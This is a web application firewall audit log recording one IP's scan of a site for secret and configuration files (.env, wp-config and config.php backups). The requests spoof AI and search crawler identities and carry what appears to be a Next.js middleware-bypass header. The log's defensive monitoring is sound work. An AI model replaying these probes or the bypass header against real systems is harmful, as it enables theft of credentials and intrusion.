User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6e634c24-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6e634c24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/laravel/.env"] [unique_id "aqZoPzTJ6xTvcJoem7f6dAAAAEA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559473231 116825 (- - -)
Stopwatch2: 1789290559473231 116825; combined=8594, p1=273, p2=8263, p3=0, p4=0, p5=58, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e634c24-Z--
--466bba60-A--
[13/Sep/2026:12:09:19.752856 +0300] aqZoPzTJ6xTvcJoem7f6dwAAAFE 34.73.246.242 56582 127.0.0.1 7081
--466bba60-B--
GET /core/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--466bba60-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--466bba60-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/core/.env"] [unique_id "aqZoPzTJ6xTvcJoem7f6dwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559678540 74389 (- - -)
Stopwatch2: 1789290559678540 74389; combined=4302, p1=300, p2=3938, p3=0, p4=0, p5=63, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--466bba60-Z--
--94cd6131-A--
[13/Sep/2026:12:09:19.939175 +0300] aqZoPzTJ6xTvcJoem7f6ewAAAEY 34.73.246.242 56634 127.0.0.1 7081
--94cd6131-B--
GET /.env.swp HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--94cd6131-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--94cd6131-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.swp"] [unique_id "aqZoPzTJ6xTvcJoem7f6ewAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559869760 69482 (- - -)
Stopwatch2: 1789290559869760 69482; combined=4998, p1=931, p2=4016, p3=0, p4=0, p5=51, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--94cd6131-Z--
--b6d0403f-A--
[13/Sep/2026:12:09:19.942422 +0300] aqZoP2M7dE9KgIIOpQh0HwAAAMU 34.73.246.242 56594 127.0.0.1 7081
--b6d0403f-B--
GET /config.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b6d0403f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b6d0403f-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/config.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559781930 160554 (- - -)
Stopwatch2: 1789290559781930 160554; combined=5697, p1=226, p2=5424, p3=0, p4=0, p5=47, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6d0403f-Z--
--24ac5a2c-A--
[13/Sep/2026:12:09:20.006114 +0300] aqZoP2M7dE9KgIIOpQh0IAAAANE 34.73.246.242 56640 127.0.0.1 7081
--24ac5a2c-B--
GET /public/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--24ac5a2c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--24ac5a2c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/public/.env"] [unique_id "aqZoP2M7dE9KgIIOpQh0IAAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559934099 72091 (- - -)
Stopwatch2: 1789290559934099 72091; combined=4122, p1=215, p2=3847, p3=0, p4=0, p5=59, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--24ac5a2c-Z--
--25347864-A--
[13/Sep/2026:12:09:20.042607 +0300] aqZoPzTJ6xTvcJoem7f6egAAAEk 34.73.246.242 56632 127.0.0.1 7081
--25347864-B--
GET /configuration.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--25347864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--25347864-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/configuration.php.bak"] [unique_id "aqZoPzTJ6xTvcJoem7f6egAAAEk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559836312 206394 (- - -)
Stopwatch2: 1789290559836312 206394; combined=5410, p1=345, p2=5004, p3=0, p4=0, p5=61, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--25347864-Z--
--79e3022c-A--
[13/Sep/2026:12:09:20.269059 +0300] aqZoQGM7dE9KgIIOpQh0IQAAAM8 34.73.246.242 56652 127.0.0.1 7081
--79e3022c-B--
GET /storage/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--79e3022c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--79e3022c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/storage/.env"] [unique_id "aqZoQGM7dE9KgIIOpQh0IQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290560200088 69051 (- - -)
Stopwatch2: 1789290560200088 69051; combined=4442, p1=224, p2=4165, p3=0, p4=0, p5=52, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--79e3022c-Z--
--2936cf5d-A--
[13/Sep/2026:12:09:20.356777 +0300] aqZoQDTJ6xTvcJoem7f6fAAAAEQ 34.73.246.242 56654 127.0.0.1 7081
--2936cf5d-B--
GET /web/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2936cf5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2936cf5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/web/.env"] [unique_id "aqZoQDTJ6xTvcJoem7f6fAAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290560275019 81821 (- - -)
Stopwatch2: 1789290560275019 81821; combined=4525, p1=263, p2=4188, p3=0, p4=0, p5=74, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2936cf5d-Z--
--f826b53c-A--
[13/Sep/2026:12:09:20.368310 +0300] aqZoQCsVWymXUono-eRU0QAAAAw 34.73.246.242 56672 127.0.0.1 7081
--f826b53c-B--
GET /wp-config.php.swp HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f826b53c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f826b53c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZoQCsVWymXUono-eRU0QAAAAw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZoQCsVWymXUono-eRU0QAAAAw"]
Action: Intercepted (phase 2)
Stopwatch: 1789290560304115 64255 (- - -)
Stopwatch2: 1789290560304115 64255; combined=63018, p1=170, p2=62562, p3=0, p4=0, p5=286, sr=65, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f826b53c-Z--
--15bcfc50-A--
[13/Sep/2026:12:09:20.369001 +0300] aqZoQEwu1RSkptiiNIX4IAAAAIo 34.73.246.242 56664 127.0.0.1 7081
--15bcfc50-B--
GET /wp-config.php~ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--15bcfc50-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--15bcfc50-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php~"] [unique_id "aqZoQEwu1RSkptiiNIX4IAAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php~"] [unique_id "aqZoQEwu1RSkptiiNIX4IAAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789290560302006 67050 (- - -)
Stopwatch2: 1789290560302006 67050; combined=65941, p1=244, p2=65459, p3=0, p4=0, p5=237, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--15bcfc50-Z--
--6f7c6b6b-A--
[13/Sep/2026:12:09:20.393640 +0300] aqZoQGM7dE9KgIIOpQh0IgAAAMA 34.73.246.242 56680 127.0.0.1 7081
--6f7c6b6b-B--
GET /wp/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6f7c6b6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6f7c6b6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/wp/.env"] [unique_id "aqZoQGM7dE9KgIIOpQh0IgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290560278891 114815 (- - -)
Stopwatch2: 1789290560278891 114815; combined=4352, p1=233, p2=4045, p3=0, p4=0, p5=74, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6f7c6b6b-Z--
--f570ce04-A--
[13/Sep/2026:12:09:23.133186 +0300] aqZoQysVWymXUono-eRU1wAAAAM 34.73.246.242 57024 127.0.0.1 7081
--f570ce04-B--
POST /api HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: text/x-component
